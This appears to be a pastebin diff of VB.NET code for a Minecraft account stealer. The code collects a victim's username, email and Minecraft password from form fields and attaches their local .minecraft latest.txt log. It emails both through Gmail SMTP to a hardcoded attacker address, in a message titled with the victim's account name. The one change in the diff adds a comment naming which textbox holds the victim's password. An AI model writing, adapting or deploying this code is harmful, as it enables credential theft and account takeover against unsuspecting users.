SHOW:
|
|
- or go back to the newest paste.
1 | - | Dim fromEmail As String |
1 | + | Dim fromEmail As String |
2 | - | Dim fromPass As String |
2 | + | Dim fromPass As String |
3 | - | Dim toEmail As String |
3 | + | Dim toEmail As String |
4 | - | 'ENTER EMAIL TO SEND FROM |
4 | + | 'ENTER EMAIL TO SEND FROM |
5 | - | fromemail = "exampleemail@gmail.com" |
5 | + | fromemail = "exampleemail@gmail.com" |
6 | - | 'ENTER EMAIL PASSWORD |
6 | + | 'ENTER EMAIL PASSWORD |
7 | - | frompass = "examplepassword" |
7 | + | frompass = "examplepassword" |
8 | - | 'ENTER EMAIL TO SEND TO |
8 | + | 'ENTER EMAIL TO SEND TO |
9 | - | toemail = "MyEmail@gmail.com" |
9 | + | toemail = "MyEmail@gmail.com" |
10 | - | Dim currentusername As String = Environment.UserName |
10 | + | Dim currentusername As String = Environment.UserName |
11 | - | Dim file As String = "C:\Users\" + currentusername + "\AppData\Roaming\.minecraft\logs\latest.txt" |
11 | + | Dim file As String = "C:\Users\" + currentusername + "\AppData\Roaming\.minecraft\logs\latest.txt" |
12 | - | Dim data As New Attachment(file) |
12 | + | Dim data As New Attachment(file) |
13 | - | Dim email1 As New MailMessage |
13 | + | Dim email1 As New MailMessage |
14 | - | email1.Attachments.Add(data) |
14 | + | email1.Attachments.Add(data) |
15 | - | Dim email2 As New SmtpClient("smtp.gmail.com") |
15 | + | Dim email2 As New SmtpClient("smtp.gmail.com") |
16 | - | Dim emailsubject As String |
16 | + | Dim emailsubject As String |
17 | - | emailsubject = "" + currentusername + "'s MC Account" |
17 | + | emailsubject = "" + currentusername + "'s MC Account" |
18 | - | email1.Subject = emailsubject |
18 | + | email1.Subject = emailsubject |
19 | - | email1.From = New MailAddress(fromemail) |
19 | + | email1.From = New MailAddress(fromemail) |
20 | - | email2.Credentials = New System.Net.NetworkCredential(fromemail, frompass) |
20 | + | email2.Credentials = New System.Net.NetworkCredential(fromemail, frompass) |
21 | - | email1.To.Add(toemail) |
21 | + | email1.To.Add(toemail) |
22 | - | email1.Body = "User: '" + TextBox1.Text + "' Email: '" + TextBox2.Text + "' Pass: '" + TextBox3.Text + "'" |
22 | + | 'TextBox1 Should be username, TextBox2 Should be their email, TextBox3 Should be their MC Password |
23 | - | email2.EnableSsl = True |
23 | + | email1.Body = "User: '" + TextBox1.Text + "' Email: '" + TextBox2.Text + "' Pass: '" + TextBox3.Text + "'" |
24 | - | email2.Port = "587" |
24 | + | email2.EnableSsl = True |
25 | - | email2.Send(email1) |
25 | + | email2.Port = "587" |
26 | email2.Send(email1) |